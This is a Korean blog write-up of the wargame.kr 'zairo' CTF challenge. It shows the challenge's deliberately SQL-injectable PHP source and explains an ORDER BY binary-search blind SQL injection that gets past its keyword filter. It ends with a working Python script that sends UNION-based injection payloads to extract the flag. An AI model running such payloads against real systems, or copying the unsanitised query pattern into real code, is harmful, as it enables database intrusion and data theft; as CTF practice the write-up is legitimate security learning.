<?php
error_reporting(0);
include("./config.php"); // hidden column name
include("../lib.php"); // auth_code function
mysql_connect("localhost","zairo","zairo_pz");
mysql_select_db("zairo");
/**********************************************************************************************************************/
function rand_string()
{
$string = "1234567890abcdefghijklmnopqrstuvwxyz";
return str_shuffle($string);
}
function reset_flag($count_column, $flag_column)
{
global $count;
$flag = rand_string();
$query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
$count = $query[$count_column];
if($query[$count_column] == 150)
{
if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
{
mysql_query("UPDATE findflag_2 SET $count_column=0;");
echo "reset flag<hr>";
}
return $flag;
}
else
{
mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
}
return $query[$flag_column];
}
function get_pw($pw_column){
$query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
return $query[$pw_column];
}
/**********************************************************************************************************************/
$tmp_flag = "";
$tmp_pw = "";
$id = $_GET['id'];
$pw = $_GET['pw'];
$flags = $_GET['flag'];
$count = 0;
if(isset($id))
{
if(preg_match("/information|schema|user|where|=/i", $id) || substr_count($id,"(") > 0) exit("no hack");
if(preg_match("/information|schema|user|where|=/i", $pw) || substr_count($pw,"(") > 0) exit("no hack");
$tmp_flag = reset_flag($count_column, $flag_column);
$tmp_pw = get_pw($pw_column);
$query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
echo "<hr />NOW COUNT = {$count}<br />";
if($query[$id_column])
{
if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
{
echo "good job!!<br />FLAG : <b>".auth_code("zairo")."</b><hr>";
}
else
{
echo "Hello ".$query[$id_column]."<hr>";
}
}
}else {
highlight_file(__FILE__);
}
?>
음.. 그렇다 adm1nkyj문제에서 가상테이블을 못만들도록 (를 필터링해준다.
여기서 어떻게 해야하는지 몰라서 질문글을 올렸는데 order by 와 이진탐색을 사용해서 blind sqli을 하라고 한다.
그래서 했다. ㄹㅇ
order by는 컬럼에 대해서 정렬할 수 있도록 컬럼 인덱스(?)를 통해 가능하도록 한다.
예를 들면 order by 2 이런식이다. 이건 두번째 컬럼에 대해서 정렬하라는 말이다.
그러면 여기서 blind sqli를 어떻게 하냐는 건데 간단하다.
문자열 비교를 하면 되는 건데 order by로 정렬하면 내가 union으로 넣은 값이 먼저 작으면 먼저 나오게 되니까
zairo문제의 아이디가 나올 때의 문자열로 받아들이면 된다.
payload는 아래와 같이 짰다.
import urllib2 url = "http://wargame.kr:8080/zairo/?id=asdf&pw=%27%20or%20true%20union%20select%201,2,3,%27" query_parts = "%27,5%20order%20by%204%23" flag = "" avail = "0123456789abcdefghijklmnopqrstuvwxyz" for i in range(36): print i + 1, " Attempt" mid = len(avail) / 2 start = 0 end = len(avail) - 1 while start <= end and start >= 0 and end >= 0 and mid >= 0: req = urllib2.Request(url + flag + avail[mid] + query_parts) req.add_header("cookie", "[Cookie]") source = urllib2.urlopen(req).read() if source.find("reset flag") != -1: print flag i = 37 break if source.find("zairowkdlfhdkel") != -1: end = mid - 1 mid = (start + end) / 2 else: start = mid + 1 mid = (start + end) / 2 flag += avail[mid] avail = avail.replace(avail[mid], "") print avail print flag
'Write up > Wargame' 카테고리의 다른 글
[Wargame.kr] Admin 계정 탈취 인증샷 (0) | 2016.10.02 |
---|---|
[Wargame.kr] All Clear (0) | 2016.09.13 |
[Wargame.kr] adm1nkyj (0) | 2016.09.08 |
[Wargame.kr] strcmp (550p) (0) | 2016.04.29 |
[Wargame.kr] Easy_CrackMe (500p) (0) | 2016.04.29 |